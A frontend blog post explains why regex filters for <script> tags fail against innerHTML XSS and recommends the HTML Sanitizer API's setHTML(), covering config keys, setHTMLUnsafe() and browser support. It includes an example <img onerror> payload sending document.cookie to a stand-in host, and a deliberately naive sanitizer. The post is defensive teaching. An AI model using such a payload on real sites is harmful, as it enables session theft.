← blog
JavaScriptSeptember 30, 2026 · 7 min read

Blocking <script> Won't Stop innerHTML XSS. setHTML() Will.

A regex that strips <script> tags misses the XSS that actually runs — an onerror attribute. Element.setHTML(), from the HTML Sanitizer API, strips it natively, and for once Firefox shipped the finished version before Chrome did.

Parsa Jiravand · Frontend engineer · building bestpractic
Blocking `<script>` Won't Stop innerHTML XSS. `setHTML()` Will.

Somewhere in your app there's a line that looks like this:

JavaScript
commentBox.innerHTML = comment.body;

It renders user text as HTML so bold text and links work instead of showing up as literal <b> tags. You test it with a normal comment. Looks fine. Ships.

Then someone posts this:

HTML
<img src="x" onerror="fetch('https://evil.example/steal?c=' + document.cookie)">

No <script> tag. No obvious red flag if you're eyeballing it. And it runs — the instant the browser tries to load x as an image, fails, and calls the onerror handler sitting right there in the attribute.

Guess before you scroll: would a filter that blocks <script> tags stop this one?

The instinct, the first time you see this, is to strip the obvious stuff:

JavaScript
1
2
3
function naiveSanitize(html) { return html.replace(/<script.*?>.*?<\/script>/gi, ""); }

That line stops <script>alert(1)</script>. It does nothing to the <img onerror> payload above, because there's no <script> tag to match. It also does nothing to <a href="javascript:stealCookies()">click</a>, or <svg onload="...">, or a dozen other attribute-based ways to run code without ever writing the word "script."

Here's the part that trips people up even more: <script> tags inserted via innerHTML never execute in the first place. Browsers parse them into inert HTMLScriptElement nodes on purpose — it's one of the oldest DOM security rules there is. So a filter built to catch <script> is patching a hole that was never open, while leaving every on* attribute and javascript: URL completely untouched. That's the trap: the fix that feels obvious defends against the one vector that was already safe.

The actual fix, for the better part of a decade, has been "import DOMPurify and call DOMPurify.sanitize() on every string before it touches innerHTML." It works. It's also a dependency you have to remember to reach for on every single call site — one missed innerHTML = in a codebase with 40 of them, and you're back to the onerror bug.

Element.prototype.setHTML() is a newer, narrower method than innerHTML: it parses a string into a DOM subtree the same way, but it always removes anything the spec considers XSS-unsafe first — no configuration required.

JavaScript
1
2
3
4
5
// unsafe — runs the onerror handler commentBox.innerHTML = comment.body; // safe — onerror is always stripped (the default config drops the whole <img>) commentBox.setHTML(comment.body);

That removal can't be configured away, on purpose. <script>, <iframe>, <frame>, <embed>, <object>, SVG <use>, every on* event-handler attribute, and javascript: URLs in links and form actions get removed whatever sanitizer config you pass. (A 2026 spec change added <base> to that list; Chrome enforces it from version 153.) You can't opt back into "please allow onerror." That's the whole point of the method existing. If you want a whole sanitized document back instead of a filled-in element, Document.parseHTML() applies the same rules.

The default config goes further than that list. It's an allowlist, and a stricter one than most people expect: it also drops comments, data-*, class, id, style, target and rel attributes, and whole elements like <img>, <style>, <form> and <details>, contents included. So test real content before you swap it in for innerHTML.

When you want a different allowlist, pass your own config:

JavaScript
1
2
3
4
5
6
7
8
const commentSanitizer = new Sanitizer({ elements: ["p", "b", "i", "em", "strong", { name: "a", attributes: ["href"] }, "br"], attributes: [], comments: false, dataAttributes: false, }); commentBox.setHTML(comment.body, { sanitizer: commentSanitizer });

elements narrows what's kept to exactly that list. Anything else is removed along with everything inside it, which is why p is in the list: leave it out and a whole <p> of allowed <b> text vanishes. For surgical edits there's replaceWithChildrenElements, which removes a tag but keeps its children, and removeElements, which removes the tag and everything inside it. A <span> in replaceWithChildrenElements still shows its text; an <h6> in removeElements disappears along with whatever was in it. (removeElements is the blocklist style of config, so it can't sit next to elements in the same config. That combination throws a TypeError.)

The last three lines aren't decoration either. Leave out attributes: [] and every attribute on an allowed element survives (class, style, id, data-*), minus the forced removals. And new Sanitizer() fills in permissive defaults for whatever you leave out: comments becomes true, and so does dataAttributes once you list attributes. Spell all three out.

Copying from an older tutorial? Check the key names first. Posts from the Chrome 105 era use allowElements, allowAttributes, blockElements and dropElements. Current browsers don't reject those names. They silently ignore them, and a config with no keys they recognize means "remove nothing extra." So new Sanitizer({ allowElements: ["b"] }) isn't strict at all. It's looser than plain setHTML(): in Chrome 154 and Firefox 156 it let class, style, comments, <img> and even <style> elements straight through, stopping only at the always-removed list. Call sanitizer.get() to see what the browser actually understood. For that config it comes back as empty removeElements and removeAttributes lists with comments: true.

There's a sibling method, setHTMLUnsafe(), and the name is doing real work: it performs no sanitization unless you pass a sanitizer. Without one, everything in the string lands in the DOM: the onerror handler that fires, the javascript: link, even <script> elements (inert, as with innerHTML). With one, it removes only what that config says. It never adds setHTML()'s always-on removals. And don't read "the method exists" as "the option works": Safari has shipped setHTMLUnsafe() since Safari 26, but not its sanitizer option, so a sanitizer you hand it there does nothing.

Why does it exist at all? For markup you already trust and need verbatim, typically your own server-rendered HTML, including declarative shadow roots (<template shadowrootmode="open">). innerHTML never turns those into shadow roots; it leaves an inert <template>. setHTML()'s default config doesn't allow <template>, so it drops the whole thing. Even with a config that allows <template> and its shadowrootmode attribute, engines currently disagree: Chrome 154 attaches a real shadow root, Firefox 156 leaves an inert <template>. setHTMLUnsafe() attaches it in every engine that has the method. That's a legitimate, narrow use case (reviving your own markup) and not a reason to reach for it on anything a user typed.

This is the part worth checking before you rely on it: Firefox shipped the finished, standardized version in Firefox 148 (February 24, 2026), first across the line and two weeks ahead of Chrome 146 (March 10). That's not the usual order for a new web platform API. Chrome had shipped an earlier version of the Sanitizer API back in Chrome 105 (2022), then removed it in Chrome 119 the following year because the spec was redesigned out from under it. That early version is where the allowElements-style names come from. Safari hasn't implemented it as of this writing, Safari 27 included. There's an open WebKit bug tracking it, with no committed timeline, so the API isn't Baseline yet.

Feature-detect rather than assume either way:

JavaScript
1
2
3
4
5
if ("setHTML" in Element.prototype) { commentBox.setHTML(comment.body); } else { commentBox.innerHTML = DOMPurify.sanitize(comment.body); }

Two details if you pass a custom allowlist. Create the Sanitizer inside the native branch, because new Sanitizer() throws a ReferenceError in a browser that doesn't have it. And give DOMPurify the same list (ALLOWED_TAGS, ALLOWED_ATTR). Its defaults aren't setHTML()'s, so otherwise the two branches render the same comment differently.

Keep DOMPurify in the fallback branch until Safari catches up — not because the native method is worse, but because "sanitized in two browsers, wide open in the third" isn't a security posture. The native method is the one you get to delete eventually; today it's the fast path, not the only path.

Runs right in your browser — poke at it and watch the concept react live.

So: the filter that looks like it should catch an XSS payload — matching <script> — was never the vector in the first place. The real hole was in an attribute, and it took a browser method built specifically to close attribute-based holes, by default, with no flag to turn it back off. Even then, the same trap waits one level up: a config written with the 2022 key names looks strict and blocks nothing extra. What's the last "obviously safe" filter you shipped that turned out to be blocking the wrong thing entirely?

Instant feedback, a hint on every question, and an explanation for each answer — right or wrong.


🚀 Want more like this? Every guide, playground, and quiz lives on bestpractic.org — open it and sign up free so the next one finds you.

Thanks for reading! Let's stay connected:

Keep reading

One post a day, in your inbox

Each one with a runnable playground and a quiz. No pitch, no digest, unsubscribe in one click.

0 comments

Sign in to join the discussion, like comments, and save articles for later.